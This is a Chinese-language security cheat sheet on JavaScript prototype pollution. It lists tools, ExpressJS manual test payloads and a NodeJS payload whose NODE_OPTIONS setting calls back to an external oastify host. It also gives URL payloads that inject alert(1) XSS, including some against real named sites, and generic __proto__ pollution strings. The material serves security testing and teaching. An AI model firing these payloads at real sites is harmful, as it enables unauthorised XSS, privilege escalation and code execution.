原型链污染 (Prototype Pollution)
原型链污染 (Prototype Pollution) 是发生在 JavaScript 中的一种漏洞,当
Object.prototype的属性被修改时就会触发。这具有极高的风险,因为 JavaScript 对象是动态的,我们可以随时为它们添加属性。此外,JavaScript 中几乎所有对象都继承自Object.prototype,这使其成为了一个潜在的攻击向量。
摘要 (Summary)
相关工具 (Tools)
- yeswehack/pp-finder - 帮助您寻找用于原型链污染利用的 Gadget。
- yuske/silent-spring - Node.js 中导致远程代码执行的原型链污染研究。
- yuske/server-side-prototype-pollution - Node.js 核心代码及第三方 NPM 包中的服务端原型链污染 Gadget。
- BlackFan/client-side-prototype-pollution - 原型链污染及实用的脚本 Gadget。
- portswigger/server-side-prototype-pollution - 探测原型链污染漏洞的 Burp Suite 扩展。
- msrkp/PPScan - 客户端原型链污染扫描器。
方法论 (Methodology)
在 JavaScript 中,原型(Prototype)允许对象从其他对象继承功能。如果攻击者能够添加或修改 Object.prototype 的属性,他们实际上可以影响所有继承自该原型的对象,从而可能导致各种安全风险。
示例 (Examples)
-
假设应用程序使用一个对象来维护配置设置,如下所示:
-
攻击者可能能够向
Object.prototype添加isAdmin属性,如下所示:
手动测试 (Manual Testing)
- ExpressJS:
{ "__proto__":{"parameterLimit":1}}+ 在 GET 请求中携带 2 个参数,其中至少 1 个必须在响应中反射。 - ExpressJS:
{ "__proto__":{"ignoreQueryPrefix":true}}+??foo=bar - ExpressJS:
{ "__proto__":{"allowDots":true}}+?foo.bar=baz - 更改 JSON 响应的内边距:
{ "__proto__":{"json spaces":" "}}+{"foo":"bar"},服务器应返回{"foo": "bar"}。 - 修改 CORS 标头响应:
{ "__proto__":{"exposedHeaders":["foo"]}},服务器应返回Access-Control-Expose-Headers标头。 - 更改状态码:
{ "__proto__":{"status":510}}
通过 JSON 输入触发原型链污染 (Prototype Pollution via JSON Input)
您可以通过魔术属性 __proto__ 访问任何对象的原型。
JavaScript 中的 JSON.parse() 函数用于解析 JSON 字符串并将其转换为 JavaScript 对象。通常,它是可能发生原型链污染的接收器 (Sink) 函数。
针对 NodeJS 的异步载荷:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=payload\"\".oastify\"\".com"
}
}
改用 constructor 属性污染原型:
URL 中的原型链污染 (Prototype Pollution in URL)
野外发现的原型链污染载荷示例:
https://victim.com/#a=b&__proto__[admin]=1
https://example.com/#__proto__[xxx]=alert(1)
http://server/servicedesk/customer/user/signup?__proto__.preventDefault.__proto__.handleObj.__proto__.delegateTarget=%3Cimg/src/onerror=alert(1)%3E
https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)
https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)
原型链污染利用 (Prototype Pollution Exploitation)
根据原型链污染是在客户端 (CSPP) 还是服务端 (SSPP) 执行,其影响会有所不同:
-
远程命令执行:使用 EJS Gadget 实现 RCE
- 客户端绕过:原型链污染 —— 以及绕过客户端 HTML 净化器
- 拒绝服务攻击 (DoS)
原型链污染载荷 (Prototype Pollution Payloads)
Object.__proto__["evilProperty"]="evilPayload"
Object.__proto__.evilProperty="evilPayload"
Object.constructor.prototype.evilProperty="evilPayload"
Object.constructor["prototype"]["evilProperty"]="evilPayload"
{"__proto__": {"evilProperty": "evilPayload"}}
{"__proto__.name":"test"}
x[__proto__][abaeead] = abaeead
x.__proto__.edcbcab = edcbcab
__proto__[eedffcb] = eedffcb
__proto__.baaebfc = baaebfc
?__proto__[test]=test
原型链污染利用链 (Prototype Pollution Gadgets)
漏洞语境下的“利用链 (Gadget)”通常指一段可以被攻击者利用或杠杆化的代码或功能。当我们谈论“原型链污染 Gadget”时,我们指的是应用程序中一个特定的代码路径、函数或特性,它容易受到原型链污染攻击的影响或可以被其利用。
您可以利用 yeswehack/pp-finder 通过部分源码创建自己的 Gadget,或者尝试使用已发现的 Gadget:yuske/server-side-prototype-pollution / BlackFan/client-side-prototype-pollution。
在线靶场 (Labs)
参考资料 (References)
- 安全测试人员原型链污染攻击指南 - Harsh Bothra - 2023年1月2日
- 关于让互联网远离污染的故事:在实战中利用客户端原型链污染 - s1r1us - 2021年9月28日
- 检测服务端原型链污染 - Daniel Thatcher - 2023年2月15日
- 利用原型链污染:Kibana 中的 RCE (CVE-2019-7609) - Michał Bentkowski - 2019年10月30日
- 主题演讲 | 服务端原型链污染:无需 DoS 的黑盒检测 - Gareth Heyes - 2023年3月27日
- NodeJS - __proto__ 与原型链污染 - HackTricks - 2024年7月19日
- 原型链污染 - PortSwigger - 2022年11月10日
- 原型链污染 - Snyk - 2023年8月19日
- 原型链污染与绕过客户端 HTML 净化器 - Michał Bentkowski - 2020年8月18日
- 原型链污染及寻找方法 - BitK & SakiiR - 2023年8月14日
- NodeJS 中的原型链污染攻击 - Olivier Arteau - 2018年5月16日
- NodeJS 应用中的原型链污染攻击 - Olivier Arteau - 2018年10月3日
- 原型链污染导致 RCE:处处皆 Gadget - Mikhail Shcherbakov - 2023年9月29日
- 服务端原型链污染,如何检测与利用 - BitK - 2023年2月18日
- 服务端原型链污染:无需 DoS 的黑盒检测 - Gareth Heyes - 2023年2月15日